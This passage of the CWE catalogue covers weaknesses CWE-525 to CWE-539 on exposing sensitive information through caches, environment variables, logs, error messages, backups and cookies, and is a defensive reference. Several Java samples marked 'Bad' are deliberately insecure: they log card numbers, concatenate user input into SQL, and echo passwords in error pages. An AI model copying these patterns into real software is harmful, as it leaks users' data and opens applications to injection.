Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	2424
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
204	Lifting Sensitive Data Embedded in Cache

CWE-525: Use of Web Browser Cache Containing Sensitive Information

Weakness ID : 525
Structure : Simple
Abstraction : Variant

Description

The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	524	Use of Cache Containing Sensitive Information	1240

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.*	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Phase: Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2356
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2356
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2424
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable

Weakness ID : 526
Structure : Simple
Abstraction : Variant

Description

The product uses an environment variable to store unencrypted sensitive information.

Extended Description

Information stored in an environment variable can be accessible by other processes with the execution context, including child processes that dependencies are executed in, or serverless functions in cloud environments. An environment variable's contents can also be inserted into messages, headers, log files, or other outputs. Often these other dependencies have no need to use the environment variable in question. A weakness that discloses environment variables could expose this information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	771
PeerOf	B	214	Invocation of Process Using Visible Sensitive Information	556

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.

Phase: Implementation

If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.

Observed Examples

Reference	Description
CVE-2022-43691	CMS shows sensitive server-side information from environment variables when run in Debug mode. *https://www.cve.org/CVERecord?id=CVE-2022-43691*
CVE-2022-27195	Plugin for an automation server inserts environment variable contents into build XML files. *https://www.cve.org/CVERecord?id=CVE-2022-27195*
CVE-2022-25264	CI/CD tool logs environment variables related to passwords add Contribution to content history. *https://www.cve.org/CVERecord?id=CVE-2022-25264*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

References

[REF-1318]David Fiser, Alfredo Oliveira. "Analyzing the Hidden Danger of Environment Variables for Keeping Secrets". 2022 August 7. < https://www.trendmicro.com/en_us/research/22/h/analyzing-hidden-danger-of-environment-variables-for-keeping-secrets.html >.2023-01-26.

[REF-1319]Nicolas Harraudeau. "Using environment variables is security-sensitive". 2021 April 8. < https://sonarsource.atlassian.net/browse/RSPEC-5304 >.2023-01-26.

CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

Weakness ID : 527
Structure : Simple
Abstraction : Variant

Description

The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Extended Description

Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1274

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	

Potential Mitigations

Phase: Operation

Phase: Distribution

Phase: System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

Weakness ID : 528
Structure : Simple
Abstraction : Variant

Description

The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1274

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: System Configuration

Protect the core dump files from unauthorized access.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2367
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID : 529
Structure : Simple
Abstraction : Variant

Description

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1274

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Potential Mitigations

Phase: System Configuration

Protect access control list files.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID : 530
Structure : Simple
Abstraction : Variant

Description

A backup file is stored in a directory or archive that is made accessible to unauthorized actors.

Extended Description

Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1274

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

CWE-531: Inclusion of Sensitive Information in Test Code

Weakness ID : 531
Structure : Simple
Abstraction : Variant

Description

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1260

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Distribution

Phase: Installation

Remove test code before deploying the application into production.

Demonstrative Examples

Example 1:

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-532: Insertion of Sensitive Information into Log File

Weakness ID : 532
Structure : Simple
Abstraction : Base

Description

The product writes sensitive information to a log file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1257

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	511

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	2445

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Logging sensitive user data, full path names, or system information often provides attackers with an additional, less-protected path to acquiring the information.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Phase: Distribution

Remove debug log files before deploying the application into production.

Phase: Operation

Protect log files against unauthorized read/write.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Example Language: Java *(Bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Example 2:

This code stores location information about the current user:

Example Language: Java *(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
  AlertDialog.Builder builder = new AlertDialog.Builder(this);
  builder.setMessage("Sorry, this application has experienced an error.");
  AlertDialog alert = builder.create();
  alert.show();
  Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 3:

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

Example Language: Java *(Bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
  BankAccount userAccount = null;
  String query = null;
  try {
    if (isAuthorizedUser(username)) {
      query = "SELECT * FROM accounts WHERE owner = "
      + username + " AND accountID = " + accountNumber;
      DatabaseManager dbManager = new DatabaseManager();
      Connection conn = dbManager.getConnection();
      Statement stmt = conn.createStatement();
      ResultSet queryResult = stmt.executeQuery(query);
      userAccount = (BankAccount)queryResult.getObject(accountNumber);
    }
  } catch (SQLException ex) {
    String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
    Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
  }
  return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Observed Examples

Reference	Description
CVE-2017-9615	verbose logging stores admin credentials in a world-readable log file *https://www.cve.org/CVERecord?id=CVE-2017-9615*
CVE-2018-1999036	SSH password for private key stored in build log *https://www.cve.org/CVERecord?id=CVE-2018-1999036*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2389
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2471
MemberOf	C	1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	1344	2517
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO13-J		Do not log sensitive information outside a trust boundary
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
215	Fuzzing for application mapping

CWE-535: Exposure of Information Through Shell Error Message

Weakness ID : 535
Structure : Simple
Abstraction : Variant

Description

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	548

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421

Nature	Type	ID	Name	V	Page
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-536: Servlet Runtime Error Message Containing Sensitive Information

Weakness ID : 536
Structure : Simple
Abstraction : Variant

Description

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	548

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.*	

Demonstrative Examples

Example 1:

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Example Language: Java *(Bad)*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  String username = request.getParameter("username");
  // May cause unchecked NullPointerException.
  if (username.length() < 10) {
    ...
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-537: Java Runtime Error Message Containing Sensitive Information

Weakness ID : 537
Structure : Simple
Abstraction : Variant

Description

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	548

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Do not expose sensitive error information to the user.

Demonstrative Examples

Example 1:

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

Example Language: Java *(Bad)*

```
public class InputFileRead {
  private File readFile = null;
  private FileReader reader = null;
  private String inputFilePath = null;
  private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
  public InputFileRead() {
    inputFilePath = DEFAULT_FILE_PATH;
  }
  public void setInputFile(String inputFile) {
    /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
  }
  public void readInputFile() {
    try {
      reader = new FileReader(readFile);
      ...
    } catch (RuntimeException rex) {
      System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
      System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
    } catch (FileNotFoundException ex) {...}
  }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2:

In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

Example Language: Java *(Bad)*

```
public class BankManagerLoginServlet extends HttpServlet {
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
  IOException {
    try {
      // Get username and password from login page request
      String username = request.getParameter("username");
      String password = request.getParameter("password");
      // Authenticate user
      BankManager bankMgr = new BankManager();
      boolean isAuthentic = bankMgr.authenticateUser(username, password);
      // If user is authenticated then go to successful login page
      if (isAuthentic) {
        request.setAttribute("login", new String("Login Successful."));
        getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);
      }
      else {
        // Otherwise, raise failed login exception and output unsuccessful login message to error page
        throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
      }
    } catch (FailedLoginException ex) {
      // output failed login message to error page
      request.setAttribute("error", new String("Login Error"));
      request.setAttribute("message", ex.getMessage());
      getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
    }
  }
```

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

Weakness ID : 538
Structure : Simple
Abstraction : Base

Description

The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	511
ParentOf	B	532	Insertion of Sensitive Information into Log File	1250
ParentOf	B	540	Inclusion of Sensitive Information in Source Code	1260
ParentOf	V	651	Exposure of WSDL File Containing Sensitive Information	1442

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2333

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: System Configuration

Do not expose file and directory information to the user.

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Example Language: Java *(Bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Observed Examples

Reference	Description
CVE-2018-1999036	SSH password for private key stored in build log *https://www.cve.org/CVERecord?id=CVE-2018-1999036*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2379
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

Notes

Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
95	WSDL Scanning

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-539: Use of Persistent Cookies Containing Sensitive Information

Weakness ID : 539
Structure : Simple
Abstraction : Variant

Description

The web application uses persistent cookies, but the cookies contain sensitive information.

Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1274

